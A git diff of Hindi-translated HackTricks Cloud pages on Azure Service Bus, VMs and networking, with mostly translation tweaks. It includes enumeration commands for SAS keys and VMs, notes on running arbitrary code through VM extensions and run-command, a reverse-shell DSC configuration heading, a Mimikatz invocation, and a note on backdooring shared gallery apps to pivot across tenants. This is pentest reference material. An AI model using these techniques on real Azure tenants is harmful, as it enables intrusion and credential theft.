Azure Service Bus एक क्लाउड-आधारित **मैसेजिंग सेवा** है जिसे विभिन्न भागों के बीच विश्वसनीय **संचार सक्षम करने के लिए डिज़ाइन किया गया है या अलग-अलग अनुप्रयोगों** के बीच। यह एक सुरक्षित मध्यस्थ के रूप में कार्य करता है, यह सुनिश्चित करता है कि संदेश सुरक्षित रूप से वितरित किए जाएं, भले ही प्रेषक और प्राप्तकर्ता एक साथ काम न कर रहे हों। सिस्टम को अलग करके, यह अनुप्रयोगों को स्वतंत्र रूप से काम करने की अनुमति देता है जबकि डेटा या निर्देशों का आदान-प्रदान करते हुए। यह विशेष रूप से उन परिदृश्यों के लिए उपयोगी है जिनमें कई श्रमिकों के बीच लोड संतुलन, विश्वसनीय संदेश वितरण, या जटिल समन्वय की आवश्यकता होती है, जैसे कि कार्यों को क्रम में संसाधित करना या सुरक्षित रूप से पहुंच प्रबंधित करना।
### Key Concepts
@@ -38,9 +38,9 @@ Azure Service Bus एक क्लाउड-आधारित **मैसेज
SAS नीतियाँ Azure Service Bus संस्थाओं के नामस्थान (सबसे महत्वपूर्ण) के लिए पहुँच अनुमतियों को परिभाषित करती हैं, कतारें और विषय। प्रत्येक नीति में निम्नलिखित घटक होते हैं:
- **Permissions**: पहुँच स्तर निर्दिष्ट करने के लिए चेकबॉक्स:
- प्रबंधित करें: इकाई पर पूर्ण नियंत्रण प्रदान करता है, जिसमें कॉन्फ़िगरेशन और अनुमतियों का प्रबंधन शामिल है।
- भेजें: इकाई को संदेश भेजने की अनुमति देता है।
- सुनें: इकाई से संदेश प्राप्त करने की अनुमति देता है।
- प्रबंधित करें: संस्थाओं पर पूर्ण नियंत्रण प्रदान करता है, जिसमें कॉन्फ़िगरेशन और अनुमतियों का प्रबंधन शामिल है।
- भेजें: संस्थाओं को संदेश भेजने की अनुमति देता है।
- सुनें: संस्थाओं से संदेश प्राप्त करने की अनुमति देता है।
- **Primary and Secondary Keys**: ये क्रिप्टोग्राफिक कुंजी हैं जो पहुँच को प्रमाणित करने के लिए सुरक्षित टोकन उत्पन्न करने के लिए उपयोग की जाती हैं।
- **Primary and Secondary Connection Strings**: पूर्व-निर्धारित कनेक्शन स्ट्रिंग्स जो उपयोग में आसानी के लिए एंडपॉइंट और कुंजी शामिल करती हैं।
- **SAS Policy ARM ID**: प्रोग्रामेटिक पहचान के लिए नीति का Azure Resource Manager (ARM) पथ।
@@ -51,9 +51,8 @@ sku, authrorization rule,
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```powershell
Get-Command -Module Az.ServiceBus
@@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceNa
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### विशेषाधिकार वृद्धि
@@ -139,7 +135,7 @@ Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <Nam
../az-privilege-escalation/az-servicebus-privesc.md
{{#endref}}
### पोस्ट एक्सप्लइटेशन
### पोस्ट एक्सप्लइटेशन
{{#ref}}
../az-post-exploitation/az-servicebus-post-exploitation.md
@@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <Nam
## संदर्भ
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
- [https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0](https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0)
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview)
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ az-azure-network.md
## VMs बुनियादी जानकारी
Azure वर्चुअल मशीनें (VMs) लचीली, ऑन-डिमांड **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं।** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके।
Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं।** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके।
### सुरक्षा कॉन्फ़िगरेशन
@@ -28,7 +28,7 @@ Azure वर्चुअल मशीनें (VMs) लचीली, ऑन-ड
- **कोई नहीं**: मूल रूप से हर पोर्ट खोलता है
- **बुनियादी**: HTTP (80), HTTPS (443), SSH (22), RDP (3389) इनबाउंड पोर्ट को आसानी से खोलने की अनुमति देता है
- **उन्नत**: एक सुरक्षा समूह का चयन करें
- **बैकअप**: **मानक** बैकअप (एक दिन में एक) और **उन्नत** (दिन में कई) सक्षम करना संभव है
- **बैकअप**: **मानक** बैकअप (एक दिन में एक) और **उन्नत** (एक दिन में कई) सक्षम करना संभव है
- **पैच समन्वय विकल्प**: यह चयनित नीति के अनुसार VMs में स्वचालित रूप से पैच लागू करने की अनुमति देता है, जैसा कि [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) में वर्णित है।
- **अलर्ट**: जब VM में कुछ होता है तो ईमेल या मोबाइल ऐप द्वारा स्वचालित रूप से अलर्ट प्राप्त करना संभव है। डिफ़ॉल्ट नियम:
- CPU प्रतिशत 80% से अधिक है
@@ -50,7 +50,7 @@ Azure वर्चुअल मशीनें (VMs) लचीली, ऑन-ड
- स्नैपशॉट में भी यही
- डिफ़ॉल्ट रूप से यह **सभी नेटवर्क से डिस्क साझा करने** की अनुमति देता है, लेकिन इसे केवल कुछ **निजी पहुँच** तक **सीमित** किया जा सकता है या **सार्वजनिक और निजी पहुँच** को पूरी तरह से **निष्क्रिय** किया जा सकता है।
- स्नैपशॉट में भी यही
- **डिस्क को निर्यात करने के लिए एक SAS URI** (अधिकतम 60 दिनों के लिए) **जनरेट करना संभव है**, जिसे प्रमाणीकरण की आवश्यकता हो सकती है या नहीं
- **डिस्क को निर्यात करने के लिए एक SAS URI** (अधिकतम 60 दिनों के लिए) उत्पन्न करना संभव है, जिसे प्रमाणीकरण की आवश्यकता हो सकती है या नहीं
- स्नैपशॉट में भी यही
{{#tabs}}
@@ -148,9 +148,9 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Bastion
Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **हटाता है**
Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **खत्म करता है**
Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें एक `/26` नेटमास्क होता है जिस VNet पर इसे काम करने की आवश्यकता होती है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है, `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें एक `/26` नेटमास्क होता है जिस VNet पर इसे काम करने की आवश्यकता होती है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
आप अपनी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:
@@ -200,6 +200,9 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
{{#endref}}
## VM Enumeration
{{#tabs}}
{{#tab name="az cli"}}
```bash
# VMs
## List all VMs and get info about one
@@ -335,7 +338,9 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
# List all available run commands for virtual machines
az vm run-command list --output table
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```bash
# Get readable VMs
Get-AzVM | fl
@@ -427,7 +432,10 @@ Get-AzStorageAccount
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
```
## कोड निष्पादन VMs में
{{#endtab }}
{{#endtabs }}
## VMs में कोड निष्पादन
### VM एक्सटेंशन
@@ -457,7 +465,7 @@ Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type
{{#endtab }}
{{#endtabs }}
यह संभव है कि **कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाए जाए**:
यह संभव है कि **कस्टम कोड चलाने वाले कस्टम एक्सटेंशन चलाएं**:
{{#tabs }}
{{#tab name="Linux" }}
@@ -551,7 +559,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन को प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** को **निष्पादित** करने के लिए किया जा सकता है:
यह एक **VM एक्सटेंशन** है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसका उपयोग Windows VMs में इस एक्सटेंशन के माध्यम से **मनमाने कमांड** निष्पादित करने के लिए किया जा सकता है:
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -617,7 +625,7 @@ az sig list --resource-group <res-group> --output table
# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
```
ये वे पथ हैं जहाँ एप्लिकेशन फाइल सिस्टम के अंदर डाउनलोड होते हैं:
ये वे पथ हैं जहाँ एप्लिकेशन फाइल सिस्टम के अंदर डाउनलोड होते हैं:
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
@@ -625,9 +633,9 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
नए एप्लिकेशन स्थापित करने के तरीके की जांच करें [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरियों को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है।
> यह संभव है कि **व्यक्तिगत ऐप्स और गैलर को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है।
लेकिन वहाँ **vm ऐप्स के लिए "मार्केटप्लेस" नहीं है** जैसे कि एक्सटेंशन के लिए है।
लेकिन **vm ऐप्स के लिए "मार्केटप्लेस" नहीं है** जैसे कि एक्सटेंशन के लिए है।
आवश्यक अनुमतियाँ हैं:
@@ -637,7 +645,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
- `Microsoft.Network/networkInterfaces/join/action`
- `Microsoft.Compute/disks/write`
मनमाने आदेशों को निष्पादित करने के लिए शोषण का उदाहरण:
मनमाने कमांड निष्पादित करने के लिए शोषण का उदाहरण:
{{#tabs }}
{{#tab name="Linux" }}
@@ -721,7 +729,7 @@ az vm application set \
### उपयोगकर्ता डेटा
यह **स्थायी डेटा** है जिसे किसी भी समय मेटाडेटा एंडपॉइंट से प्राप्त किया जा सकता है। ध्यान दें कि Azure में उपयोगकर्ता डेटा AWS और GCP से अलग है क्योंकि **यदि आप यहां एक स्क्रिप्ट रखते हैं, तो यह डिफ़ॉल्ट रूप से निष्पादित नहीं होती**
यह **स्थायी डेटा** है जिसे किसी भी समय मेटाडेटा एंडपॉइंट से पुनः प्राप्त किया जा सकता है। ध्यान दें कि Azure में उपयोगकर्ता डेटा AWS और GCP से अलग है क्योंकि **यदि आप यहां एक स्क्रिप्ट रखते हैं, तो यह डिफ़ॉल्ट रूप से निष्पादित नहीं होती**
### कस्टम डेटा
@@ -739,7 +747,7 @@ echo "Hello World" > /var/tmp/output.txt
```
### **कमांड चलाएँ**
यह Azure द्वारा **VMs में मनमाने कमांड निष्पादित करने** के लिए प्रदान किया गया सबसे बुनियादी तंत्र है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`
यह सबसे बुनियादी तंत्र है जो Azure **VMs में मनमाने कमांड चलाने** के लिए प्रदान करता है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`
{{#tabs }}
{{#tab name="Linux" }}
@@ -790,7 +798,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
{{#endref}}
## बिना प्रमाणीकरण का अभिगम
## बिना प्रमाणीकरण का उपयोग
{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md

View File

@@ -49,7 +49,7 @@ Select-Object Name, AddressPrefix
## नेटवर्क सुरक्षा समूह (NSG)
एक **नेटवर्क सुरक्षा समूह (NSG)** Azure वर्चुअल नेटवर्क (VNet) के भीतर Azure संसाधनों के लिए नेटवर्क ट्रैफ़िक को फ़िल्टर करता है। इसमें **सुरक्षा नियमों** का एक सेट होता है जो **इनबाउंड और आउटबाउंड ट्रैफ़िक के लिए कौन से पोर्ट खोलने हैं** यह निर्दिष्ट कर सकता है, स्रोत पोर्ट, स्रोत IP, पोर्ट गंतव्य द्वारा और एक प्राथमिकता असाइन करना संभव है (जितन कम प्राथमिकता संख्या, उतनी ही उच्च प्राथमिकता)।
एक **नेटवर्क सुरक्षा समूह (NSG)** Azure वर्चुअल नेटवर्क (VNet) के भीतर Azure संसाधनों के लिए नेटवर्क ट्रैफ़िक को फ़िल्टर करता है। इसमें **सुरक्षा नियमों** का एक सेट होता है जो **इनबाउंड और आउटबाउंड ट्रैफ़िक के लिए कौन से पोर्ट खोलने हैं** को स्रोत पोर्ट, स्रोत IP, पोर्ट गंतव्य द्वारा इंगित कर सकता है और इसे एक प्राथमिकता सौंपना संभव है (जितन कम प्राथमिकता संख्या, उतनी ही उच्च प्राथमिकता)।
NSGs को **सबनेट और NICs** से जोड़ा जा सकता है।
@@ -95,15 +95,16 @@ Azure Firewall एक **प्रबंधित नेटवर्क सुर
यह तीन SKUs में उपलब्ध है—**बेसिक**, **स्टैंडर्ड**, और **प्रीमियम**, प्रत्येक विशिष्ट ग्राहक आवश्यकताओं के लिए अनुकूलित:
| **सिफारिश की उपयोगिता** | सीमित आवश्यकताओं वाले छोटे/मध्यम व्यवसाय (SMBs) | सामान्य उद्यम उपयोग, लेयर 37 फ़िल्टरिंग | अत्यधिक संवेदनशील वातावरण (जैसे, भुगतान प्रसंस्करण) |
| Criteria/Feature | Option 1 | Option 2 | Option 3 |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **प्रदर्शन** | 250 Mbps तक थ्रूपुट | 30 Gbps तक थ्रूपुट | 100 Gbps तक थ्रूपुट |
| **खतरे की जानकारी** | केवल अलर् | अलर्ट और ब्लॉकिंग (दुष्ट IPs/डोमेन) | अलर्ट और ब्लॉकिंग (उन्नत खतरे की जानकारी) |
| **L3L7 फ़िल्टरिंग** | बुनियादी फ़िल्टरिंग | प्रोटोकॉल के बीच स्टेटफुल फ़िल्टरिंग | उन्नत निरीक्षण के साथ स्टेटफुल फ़िल्टरिंग |
| **उन्नत खतरे की सुरक्षा** | उपलब्ध नहीं | खतरे की जानकारी आधारित फ़िल्टरिंग | घुसपैठ पहचान और रोकथाम प्रणाली (IDPS) शामिल है |
| **TLS निरीक्षण** | उपलब्ध नहीं | उपलब्ध नहीं | इनबाउंड/आउटबाउंड TLS समाप्ति का समर्थन करता है |
| **उपलब्धता** | निश्चित बैकएंड (2 VMs) | ऑटोस्केलिंग | ऑटोस्केलिंग |
| **प्रबंधन में आसानी** | बुनियादी नियंत्रण | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित |
| **Recommended Use Case** | छोटे/मध्यम व्यवसाय (SMBs) जिनकी सीमित आवश्यकताएँ हैं | सामान्य उद्यम उपयोग, लेयर 37 फ़िल्टरिंग | अत्यधिक संवेदनशील वातावरण (जैसे, भुगतान प्रसंस्करण) |
| **Performance** | 250 Mbps तक थ्रूपु| 30 Gbps तक थ्रूपुट | 100 Gbps तक थ्रूपुट |
| **Threat Intelligence** | केवल अलर्ट | अलर्ट और ब्लॉकिंग (दुष्ट IPs/डोमेन) | अलर्ट और ब्लॉकिंग (उन्नत खतरा खुफिया) |
| **L3L7 Filtering** | बुनियादी फ़िल्टरिंग | प्रोटोकॉल के बीच स्टेटफुल फ़िल्टरिंग | उन्नत निरीक्षण के साथ स्टेटफुल फ़िल्टरिंग |
| **Advanced Threat Protection** | उपलब्ध नहीं | खतरा खुफिया-आधारित फ़िल्टरिंग | घुसपैठ पहचान और रोकथाम प्रणाली (IDPS) शामिल है |
| **TLS Inspection** | उपलब्ध नहीं | उपलब्ध नहीं | इनबाउंड/आउटबाउंड TLS समाप्ति का समर्थन |
| **Availability** | निश्चित बैकएंड (2 VMs) | ऑटोस्केलिंग | ऑटोस्केलिंग |
| **Ease of Management** | बुनियादी नियंत्रण | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित | फ़ायरवॉल प्रबंधक के माध्यम से प्रबंधित |
### Enumeration
@@ -140,13 +141,13 @@ Get-AzFirewall
{{#endtab }}
{{#endtabs }}
## Azure रूट टेबल
## Azure Route Tables
Azure **रूट टेबल** का उपयोग नेटवर्क ट्रैफ़िक के रूटिंग को नियंत्रित करने के लिए किया जाता है। े नियमों को परिभाषित करते हैं जो यह निर्दिष्ट करते हैं कि पैकेट्स को कैसे अग्रेषित किया जाना चाहिए, चाहे वह Azure संसाधनों, इंटरनेट, या किसी विशिष्ट अगले हॉप जैसे कि वर्चुअल एप्लायंस या Azure फ़ायरवॉल के लिए हो। आप एक **सबनेट** के साथ एक रूट टेबल को जोड़ सकते हैं, और उस सबनेट के भीतर सभी संसाधन तालिका में रूट का पालन करेंगे।
Azure **Route Tables** का उपयोग नेटवर्क ट्रैफ़िक के रूटिंग को नियंत्रित करने के लिए किया जाता है जो एक सबनेट के भीतर होता हैे नियमों को परिभाषित करते हैं जो यह निर्दिष्ट करते हैं कि पैकेट्स को कैसे अग्रेषित किया जाना चाहिए, या तो Azure संसाधनों, इंटरनेट, या क विशिष्ट अगले हॉप जैसे कि एक वर्चुअल एप्लायंस या Azure फ़ायरवॉल की ओर। आप एक **सबनेट** के साथ एक रूट टेबल को जोड़ सकते हैं, और उस सबनेट के भीतर सभी संसाधन तालिका में रूट का पालन करेंगे।
**उदाहरण:** यदि एक सबनेट में ऐसे संसाधन हैं जिन्हें निरीक्षण के लिए नेटवर्क वर्चुअल एप्लायंस (NVA) के माध्यम से आउटबाउंड ट्रैफ़िक को रूट करने की आवश्यकता है, तो आप एक रूट टेबल में एक **रूट** बना सकते हैं ताकि सभी ट्रैफ़िक (जैसे, `0.0.0.0/0`) को NVA के निजी IP पते र अगल हॉप के रूप में पुनर्निर्देशित किया जा सके।
**उदाहरण:** यदि एक सबनेट में ऐसे संसाधन हैं जिन्हें निरीक्षण के लिए नेटवर्क वर्चुअल एप्लायंस (NVA) के माध्यम से आउटबाउंड ट्रैफ़िक को रूट करने की आवश्यकता है, तो आप एक रूट टेबल में एक **रूट** बना सकते हैं ताकि सभी ट्रैफ़िक (जैसे, `0.0.0.0/0`) को NVA के निजी IP पते की ओर अगल हॉप के रूप में पुनर्निर्देशित किया जा सके।
### **गणना**
### **Enumeration**
{{#tabs }}
{{#tab name="az cli" }}
@@ -207,11 +208,11 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
## Azure सेवा एंडपॉइंट
Azure सेवा एंडपॉइंट आपके वर्चुअल नेटवर्क के निजी पते की जगह और आपके VNet की पहचान को Azure सेवाओं के लिए एक सीधे कनेक्शन के माध्यम से बढ़ाते हैं। सेवा एंडपॉइंट सक्षम करके, **आपके VNet में संसाधन सुरक्षित रूप से Azure सेवाओं से कनेक्ट कर सकते हैं**, जैसे Azure Storage और Azure SQL Database, Azure के बैकबोन नेटवर्क का उपयोग करते हुए। यह सुनिश्चित करता है कि **VNet से Azure सेवा तक का ट्रैफ़िक Azure नेटवर्क के भीतर रहता है**, जो एक अधिक सुरक्षित और विश्वसनीय मार्ग प्रदान करता है।
Azure सेवा एंडपॉइंट आपके वर्चुअल नेटवर्क के निजी पते की जगह और आपके VNet की पहचान को Azure सेवाओं के साथ एक सीधे कनेक्शन के माध्यम से बढ़ाते हैं। सेवा एंडपॉइंट सक्षम करके, **आपके VNet में संसाधन सुरक्षित रूप से Azure सेवाओं से कनेक्ट कर सकते हैं**, जैसे Azure Storage और Azure SQL Database, Azure के बैकबोन नेटवर्क का उपयोग करते हुए। यह सुनिश्चित करता है कि **VNet से Azure सेवा तक का ट्रैफ़िक Azure नेटवर्क के भीतर रहता है**, जो एक अधिक सुरक्षित और विश्वसनीय मार्ग प्रदान करता है।
**उदाहरण:**
उदाहरण के लिए, एक **Azure Storage** खाता डिफ़ॉल्ट रूप से सार्वजनिक इंटरनेट पर सुलभ है। अपने VNet के भीतर **Azure Storage के लिए एक सेवा एंडपॉइंट सक्षम करके**, आप सुनिश्चित कर सकते हैं कि केवल आपके VNet से आने वाला ट्रैफ़िक स्टोरेज खाते तक पहुँच सकता है। फिर स्टोरेज खाता फ़ायरवॉल को इस तरह से कॉन्फ़िगर किया जा सकता है कि ह केवल आपके VNet से आने वाले ट्रैफ़िक को स्वीकार करे।
उदाहरण के लिए, एक **Azure Storage** खाता डिफ़ॉल्ट रूप से सार्वजनिक इंटरनेट पर सुलभ है। अपने VNet के भीतर **Azure Storage के लिए एक सेवा एंडपॉइंट सक्षम करके**, आप सुनिश्चित कर सकते हैं कि केवल आपके VNet से आने वाला ट्रैफ़िक स्टोरेज खाते तक पहुँच सकता है। फिर स्टोरेज खाता फ़ायरवॉल को इस तरह से कॉन्फ़िगर किया जा सकता है कि ह केवल आपके VNet से आने वाले ट्रैफ़िक को स्वीकार करे।
### **गणना**
@@ -236,39 +237,39 @@ Get-AzVirtualNetwork
{{#endtab }}
{{#endtabs }}
### सेवा अंत बिंदुओं और निजी लिंक के बीच अंतर
### सेवा एंडपॉइंट और प्राइवेट लिंक के बीच अंतर
Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) में निजी लिंक का उपयोग करने की सिफारिश करता है:
Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) में प्राइवेट लिंक का उपयोग करने की सिफारिश करता है:
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
**सेवा अंत बिंदु:**
**सेवा एंडपॉइंट:**
- आपके VNet से Azure सेवा तक का ट्रैफ़िक Microsoft Azure बैकबोन नेटवर्क के माध्यम से यात्रा करता है, सार्वजनिक इंटरनेट को बायपास करता है।
- अंत बिंदु Azure सेवा के लिए एक सीधा कनेक्शन है और VNet के भीतर सेवा के लिए एक निजी IP प्रदान नहीं करता है।
- सेवा स्वयं आपके VNet के बाहर से इसके सार्वजनिक अंत बिंदु के माध्यम से अभी भी सुलभ है जब तक कि आप सेवा फ़ायरवॉल को ऐसे ट्रैफ़िक को अवरुद्ध करने के लिए कॉन्फ़िगर नहीं करते।
- एंडपॉइंट Azure सेवा के लिए एक सीधा कनेक्शन है और VNet के भीतर सेवा के लिए एक प्राइवेट IP प्रदान नहीं करता है।
- सेवा स्वयं आपके VNet के बाहर से इसके सार्वजनिक एंडपॉइंट के माध्यम से अभी भी सुलभ है जब तक कि आप सेवा फ़ायरवॉल को ऐसे ट्रैफ़िक को ब्लॉक करने के लिए कॉन्फ़िगर नहीं करते।
- यह सबनेट और Azure सेवा के बीच एक-से-एक संबंध है।
- निजी लिंक की तुलना में कम महंगा है।
- प्राइवेट लिंक की तुलना में कम महंगा है।
**निजी लिंक:**
**प्राइवेट लिंक:**
- निजी लिंक Azure सेवाओं को आपके VNet में एक निजी अंत बिंदु के माध्यम से मानचित्रित करता है, जो आपके VNet के भीतर एक निजी IP पते के साथ एक नेटवर्क इंटरफेस है।
- Azure सेवा को इस निजी IP पते का उपयोग करके एक्सेस किया जाता है, जिससे यह ऐसा प्रतीत होता है जैसे यह आपके नेटवर्क का हिस्सा है।
- निजी लिंक के माध्यम से जुड़े सेवाओं को केवल आपके VNet या जुड़े नेटवर्क से एक्सेस किया जा सकता है; सेवा के लिए कोई सार्वजनिक इंटरनेट एक्सेस नहीं है।
- प्राइवेट लिंक Azure सेवाओं को आपके VNet में एक प्राइवेट एंडपॉइंट के माध्यम से मैप करता है, जो आपके VNet के भीतर एक प्राइवेट IP पते के साथ एक नेटवर्क इंटरफेस है।
- Azure सेवा को इस प्राइवेट IP पते का उपयोग करके एक्सेस किया जाता है, जिससे यह ऐसा प्रतीत होता है जैसे यह आपके नेटवर्क का हिस्सा है।
- प्राइवेट लिंक के माध्यम से जुड़े सेवाओं को केवल आपके VNet या जुड़े नेटवर्क से एक्सेस किया जा सकता है; सेवा के लिए कोई सार्वजनिक इंटरनेट एक्सेस नहीं है।
- यह Azure सेवाओं या Azure में होस्ट की गई आपकी अपनी सेवाओं के लिए एक सुरक्षित कनेक्शन सक्षम करता है, साथ ही दूसरों द्वारा साझा की गई सेवाओं के लिए भी।
- यह आपके VNet में एक निजी अंत बिंदु के माध्यम से अधिक बारीक पहुंच नियंत्रण प्रदान करता है, जबकि सेवा अंत बिंदुओं के साथ सबनेट स्तर पर व्यापक पहुंच नियंत्रण की तुलना में।
- यह आपके VNet में एक प्राइवेट एंडपॉइंट के माध्यम से अधिक बारीक पहुंच नियंत्रण प्रदान करता है, जबकि सेवा एंडपॉइंट के साथ सबनेट स्तर पर व्यापक पहुंच नियंत्रण की तुलना में।
संक्षेप में, जबकि सेवा अंत बिंदु और निजी लिंक दोनों Azure सेवाओं के लिए सुरक्षित कनेक्टिविटी प्रदान करते हैं, **निजी लिंक उच्च स्तर की अलगाव और सुरक्षा प्रदान करते हैं यह सुनिश्चित करके कि सेवाओं को सार्वजनिक इंटरनेट के बिना निजी रूप से एक्सेस किया जाता है**। दूसरी ओर, सेवा अंत बिंदु सामान्य मामलों के लिए सेट अप करना आसान है जहां Azure सेवाओं के लिए सरल, सुरक्षित पहुंच की आवश्यकता होती है बिना VNet में एक निजी IP की आवश्यकता के।
